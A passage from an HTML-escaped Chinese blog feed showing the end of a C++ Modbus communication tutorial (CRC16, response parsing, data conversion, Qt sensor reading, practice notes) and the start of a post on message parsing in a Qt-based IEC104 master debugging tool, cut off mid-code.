&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;modbus_close(ctx);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;modbus_free(ctx);}&lt;/pre&gt;&lt;hr style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;/&gt;&lt;h4 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;a name=&quot;t3&quot;&gt;&lt;/a&gt;&lt;a id=&quot;__44&quot;&gt;&lt;/a&gt;⚙️ 三、核心处理技术&lt;/h4&gt;&lt;h5 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;1__45&quot;&gt;&lt;/a&gt;1. 报文构建与发送&lt;/h5&gt;&lt;ul style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;RTU模式需计算CRC：&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre data-index=&quot;3&quot; name=&quot;code&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;uint16_t&amp;nbsp;CRC16(uint8_t&amp;nbsp;*buf,&amp;nbsp;int&amp;nbsp;len)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;uint16_t&amp;nbsp;crc&amp;nbsp;=&amp;nbsp;0xFFFF;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;(int&amp;nbsp;pos&amp;nbsp;=&amp;nbsp;0;&amp;nbsp;pos&amp;nbsp;&amp;lt;&amp;nbsp;len;&amp;nbsp;pos++)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;crc&amp;nbsp;^=&amp;nbsp;buf[pos];
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;(int&amp;nbsp;i&amp;nbsp;=&amp;nbsp;8;&amp;nbsp;i&amp;nbsp;!=&amp;nbsp;0;&amp;nbsp;i--)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(crc&amp;nbsp;&amp;amp;&amp;nbsp;0x0001)&amp;nbsp;crc&amp;nbsp;=&amp;nbsp;(crc&amp;nbsp;&amp;gt;&amp;gt;&amp;nbsp;1)&amp;nbsp;^&amp;nbsp;0xA001;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&amp;nbsp;crc&amp;nbsp;&amp;gt;&amp;gt;=&amp;nbsp;1;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;crc;}&lt;/pre&gt;&lt;h5 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;2__60&quot;&gt;&lt;/a&gt;2. 响应解析与错误处理&lt;/h5&gt;&lt;ul style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;功能码与异常码处理：&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre data-index=&quot;4&quot; name=&quot;code&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;switch&amp;nbsp;(response[1])&amp;nbsp;{&amp;nbsp;&amp;nbsp;//&amp;nbsp;功能码位置
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;0x03:&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;parseRegisters(response);&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;0x86:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;异常码=功能码+0x80
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;handleException(response[2]);&amp;nbsp;//&amp;nbsp;异常码在第三个字节
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;}&lt;/pre&gt;&lt;h5 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;3__72&quot;&gt;&lt;/a&gt;3. 数据类型转换&lt;/h5&gt;&lt;ul style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;32位整数组合（大端序）：&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre data-index=&quot;5&quot; name=&quot;code&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;uint16_t&amp;nbsp;regs[2]&amp;nbsp;=&amp;nbsp;{0x1234,&amp;nbsp;0x5678};uint32_t&amp;nbsp;value&amp;nbsp;=&amp;nbsp;(regs[0]&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;16)&amp;nbsp;|&amp;nbsp;regs[1];&amp;nbsp;&amp;nbsp;//&amp;nbsp;结果：0x12345678AI运行代码cpp12&lt;/pre&gt;&lt;ul style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;浮点数解析（IEEE 754）：&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre data-index=&quot;6&quot; name=&quot;code&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;uint32_t&amp;nbsp;raw&amp;nbsp;=&amp;nbsp;(regs[0]&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;16)&amp;nbsp;|&amp;nbsp;regs[1];float&amp;nbsp;fval&amp;nbsp;=&amp;nbsp;*reinterpret_cast&amp;lt;float*&amp;gt;(&amp;amp;raw);&lt;/pre&gt;&lt;hr style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;/&gt;&lt;h4 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;a name=&quot;t4&quot;&gt;&lt;/a&gt;&lt;a id=&quot;__84&quot;&gt;&lt;/a&gt;🚀 四、高级应用场景&lt;/h4&gt;&lt;h5 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;1__85&quot;&gt;&lt;/a&gt;1. 多线程事务管理&lt;/h5&gt;&lt;pre data-index=&quot;7&quot; name=&quot;code&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;std::mutex&amp;nbsp;mtx;std::condition_variable&amp;nbsp;cv;void&amp;nbsp;sendThread(ModbusRequest&amp;nbsp;req)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;std::lock_guard&amp;lt;std::mutex&amp;gt;&amp;nbsp;lock(mtx);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sendRequest(req);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cv.notify_one();&amp;nbsp;&amp;nbsp;//&amp;nbsp;通知接收线程}void&amp;nbsp;recvThread()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;std::unique_lock&amp;lt;std::mutex&amp;gt;&amp;nbsp;lock(mtx);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cv.wait(lock);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;阻塞等待数据
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ModbusResponse&amp;nbsp;res&amp;nbsp;=&amp;nbsp;receiveResponse();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;process(res);}&lt;/pre&gt;&lt;h5 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;2__103&quot;&gt;&lt;/a&gt;2. 性能优化策略&lt;/h5&gt;&lt;ul style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;批量读写：使用功能码0x10（写多寄存器）减少请求次数&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;连接复用：保持TCP长连接避免重复握手&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;超时重试：设置超时阈值和重试逻辑（如3次重试）&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;hr style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;/&gt;&lt;h4 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;a name=&quot;t5&quot;&gt;&lt;/a&gt;&lt;a id=&quot;_Qt_108&quot;&gt;&lt;/a&gt;💻 五、完整代码示例-Qt库（读取温度传感器）&lt;/h4&gt;&lt;pre data-index=&quot;8&quot; name=&quot;code&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;//&amp;nbsp;定义带符号温度数据结构struct&amp;nbsp;TemperatureData&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;qint16&amp;nbsp;raw;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;原始带符号值
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;double&amp;nbsp;celsius;&amp;nbsp;//&amp;nbsp;转换后的温度值};//&amp;nbsp;异步读取输入寄存器（地址0）void&amp;nbsp;readTemperature(QModbusClient*&amp;nbsp;device)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QModbusDataUnit&amp;nbsp;unit(QModbusDataUnit::InputRegisters,&amp;nbsp;0,&amp;nbsp;1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QModbusReply*&amp;nbsp;reply&amp;nbsp;=&amp;nbsp;device-&amp;gt;sendReadRequest(unit,&amp;nbsp;1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QObject::connect(reply,&amp;nbsp;&amp;amp;QModbusReply::finished,&amp;nbsp;[=]()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(reply-&amp;gt;error()&amp;nbsp;==&amp;nbsp;QModbusDevice::NoError)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;quint16&amp;nbsp;rawTemp&amp;nbsp;=&amp;nbsp;reply-&amp;gt;result().value(0);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TemperatureData&amp;nbsp;data;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data.raw&amp;nbsp;=&amp;nbsp;static_cast&amp;lt;qint16&amp;gt;(rawTemp);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data.celsius&amp;nbsp;=&amp;nbsp;data.raw&amp;nbsp;/&amp;nbsp;10.0;&amp;nbsp;&amp;nbsp;//&amp;nbsp;假设实际值=原始值÷10
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;qDebug()&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;&amp;quot;原始值:&amp;quot;&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;data.raw&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;&amp;quot;&amp;nbsp;温度:&amp;quot;&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;data.celsius&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;&amp;quot;°C&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;reply-&amp;gt;deleteLater();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;});}&lt;/pre&gt;&lt;hr style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;/&gt;&lt;h4 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;a name=&quot;t6&quot;&gt;&lt;/a&gt;&lt;a id=&quot;__135&quot;&gt;&lt;/a&gt;⚠️ 六、工业实践注意事项&lt;/h4&gt;&lt;ol style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;字节序问题：设备可能采用大端序（Big-Endian）或小端序（Little-Endian），需根据手册调整组合顺序&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;超时设置：RTU模式典型超时为1.5个字符传输时间，TCP建议500ms-1000ms&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;错误恢复：实现自动重连机制，捕获ECONNRESET等网络异常&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;安全加固：&lt;/p&gt;&lt;/li&gt;&lt;ul class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;校验报文长度防溢出&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;白名单验证设备地址&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;敏感操作增加认证机制&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ol&gt;&lt;blockquote style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;p&gt;通过合理选择库、正确处理报文边界和错误场景，C++可实现稳定&lt;a href=&quot;https://so.csdn.net/so/search?q=%E9%AB%98%E6%95%88%E7%9A%84&amp;spm=1001.2101.3001.7020&quot; target=&quot;_blank&quot; class=&quot;hl hl-1&quot; data-report-click=&quot;{&amp;quot;spm&amp;quot;:&amp;quot;1001.2101.3001.7020&amp;quot;,&amp;quot;dest&amp;quot;:&amp;quot;https://so.csdn.net/so/search?q=%E9%AB%98%E6%95%88%E7%9A%84&amp;amp;spm=1001.2101.3001.7020&amp;quot;,&amp;quot;extra&amp;quot;:&amp;quot;{\&amp;quot;searchword\&amp;quot;:\&amp;quot;高效的\&amp;quot;}&amp;quot;}&quot; data-tit=&quot;高效的&quot; data-pretit=&quot;高效的&quot;&gt;高效的&lt;/a&gt;Modbus通信系统。建议使用Wireshark或Modbus Slave工具模拟测试报文交互。&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 10 Sep 2025 15:08:58 +0800</pubDate></item><item><title>基于C++和Qt开发IEC104规约主站调试软件（第六章）终</title><link>http://blog.write.yingkecut.cn/?id=31</link><description>&lt;div class=&quot;toc&quot; style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;h4&gt;第六章：IEC104主站调试软件功能按钮实现（报文解析、报文导出、报文滚动、清空报文）&lt;/h4&gt;&lt;ul class=&quot; list-paddingleft-2&quot;&gt;&lt;ul class=&quot; list-paddingleft-2&quot; style=&quot;list-style-type: square;&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#1_7&quot; target=&quot;_self&quot;&gt;1.报文解析&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#2_110&quot; target=&quot;_self&quot;&gt;2.报文导出&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#3_131&quot; target=&quot;_self&quot;&gt;3.报文开始停止滚动&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#4_154&quot; target=&quot;_self&quot;&gt;4.清空报文&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#5_163&quot; target=&quot;_self&quot;&gt;5.总结&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;/div&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;基于C++和&lt;a href=&quot;https://so.csdn.net/so/search?q=Qt%E5%BC%80%E5%8F%91&amp;spm=1001.2101.3001.7020&quot; target=&quot;_blank&quot; class=&quot;hl hl-1&quot; data-report-click=&quot;{&amp;quot;spm&amp;quot;:&amp;quot;1001.2101.3001.7020&amp;quot;,&amp;quot;dest&amp;quot;:&amp;quot;https://so.csdn.net/so/search?q=Qt%E5%BC%80%E5%8F%91&amp;amp;spm=1001.2101.3001.7020&amp;quot;,&amp;quot;extra&amp;quot;:&amp;quot;{\&amp;quot;searchword\&amp;quot;:\&amp;quot;Qt开发\&amp;quot;}&amp;quot;}&quot; data-tit=&quot;Qt开发&quot; data-pretit=&quot;qt开发&quot;&gt;Qt开发&lt;/a&gt;IEC104规约主站调试软件需要综合协议规范、多线程编程和GUI框架知识以及IEC104通讯规约相关知识，以下是分步骤实现方案：&lt;br/&gt;&lt;a href=&quot;https://live.csdn.net/v/473582&quot; rel=&quot;nofollow&quot;&gt;最终成果&lt;/a&gt;&lt;br/&gt;&lt;a href=&quot;https://download.csdn.net/download/liangwwe0/90616493?spm=1011.2124.3001.6210&quot;&gt;IEC104通讯规约知识学习&lt;/a&gt;&lt;br/&gt;上一章内容回顾：&lt;a href=&quot;https://blog.csdn.net/liangwwe0/article/details/147380607?spm=1011.2415.3001.5331&quot;&gt;IEC104主站调试软件发送总召、时钟同步&lt;/a&gt;&lt;br/&gt;软件及&lt;span class=&quot;words-blog hl-git-1&quot; data-tit=&quot;源代码&quot; data-pretit=&quot;源代码&quot;&gt;源代码&lt;/span&gt;获取：&lt;a href=&quot;https://m.tb.cn/h.6x7cqwQ?tk=EXbqVn3oufu&quot; rel=&quot;nofollow&quot;&gt;欢迎咨询&lt;/a&gt;&lt;/p&gt;&lt;h4 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;a name=&quot;t1&quot;&gt;&lt;/a&gt;&lt;a id=&quot;1_7&quot;&gt;&lt;/a&gt;1.报文解析&lt;/h4&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;strong&gt;输入报文点击报文解析按钮&lt;/strong&gt;&lt;br/&gt;&lt;strong&gt;代码示例：&lt;/strong&gt;&lt;/p&gt;&lt;pre data-index=&quot;0&quot; class=&quot;set-code-hide prettyprint&quot;&gt;&amp;nbsp;QByteArray&amp;nbsp;frame&amp;nbsp;=&amp;nbsp;ui-&amp;gt;textEdit-&amp;gt;toPlainText().trimmed().toUtf8();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(frame.isEmpty()){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MessageReminder(&amp;quot;请在报文列表中输入有效报文&amp;quot;,&amp;quot;确认&amp;quot;,&amp;quot;取消&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QByteArray&amp;nbsp;hexFrame&amp;nbsp;=&amp;nbsp;QByteArray::fromHex(frame);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;sz&amp;nbsp;=&amp;nbsp;hexFrame.length();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(&amp;nbsp;sz&amp;lt;6&amp;nbsp;||&amp;nbsp;(hexFrame[0]!=&amp;nbsp;0x68&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;(hexFrame[1]&amp;lt;&amp;nbsp;0x04&amp;nbsp;||&amp;nbsp;hexFrame[1]&amp;gt;0xFF))){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;showMessage(&amp;quot;无效报文&amp;quot;,-1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(sz&amp;gt;6){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hexFrame&amp;nbsp;=&amp;nbsp;hexFrame.mid(6,sz-6);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;uint8_t*&amp;nbsp;msg&amp;nbsp;=&amp;nbsp;(uint8_t*)hexFrame.data();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CS104_Connection&amp;nbsp;cn&amp;nbsp;=&amp;nbsp;CS104_Connection_create(&amp;quot;127.0.0.1&amp;quot;,&amp;nbsp;2404);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CS101_AppLayerParameters&amp;nbsp;alParams&amp;nbsp;=&amp;nbsp;CS104_Connection_getAppLayerParameters(cn);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CS101_ASDU&amp;nbsp;asdu&amp;nbsp;=&amp;nbsp;CS101_ASDU_createFromBuffer(alParams,&amp;nbsp;msg,&amp;nbsp;sz&amp;nbsp;-&amp;nbsp;6);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IEC60870_5_TypeID&amp;nbsp;&amp;nbsp;typeId&amp;nbsp;=&amp;nbsp;CS101_ASDU_getTypeID(asdu);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;nums&amp;nbsp;=&amp;nbsp;&amp;nbsp;CS101_ASDU_getNumberOfElements(asdu);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CS101_CauseOfTransmission&amp;nbsp;cause&amp;nbsp;=&amp;nbsp;CS101_ASDU_getCOT(asdu);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CP56Time2a&amp;nbsp;newTime;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QString&amp;nbsp;time;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QualityDescriptor&amp;nbsp;qu;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QString&amp;nbsp;quStr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QString&amp;nbsp;causeStr&amp;nbsp;=&amp;nbsp;m_causeHash.value(cause);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(causeStr.isEmpty())
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;causeStr=QString(&amp;quot;未知(%1)&amp;quot;).arg(cause);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QString&amp;nbsp;typeStr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;address;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(typeId&amp;nbsp;==&amp;nbsp;C_TS_TA_1)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;qInfo()&amp;lt;&amp;lt;&amp;quot;test&amp;nbsp;command&amp;nbsp;with&amp;nbsp;timestamp&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&amp;nbsp;if&amp;nbsp;(typeId==&amp;nbsp;C_IC_NA_1)&amp;nbsp;{//总召唤
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(cause==&amp;nbsp;CS101_COT_ACTIVATION)&amp;nbsp;//激活确认
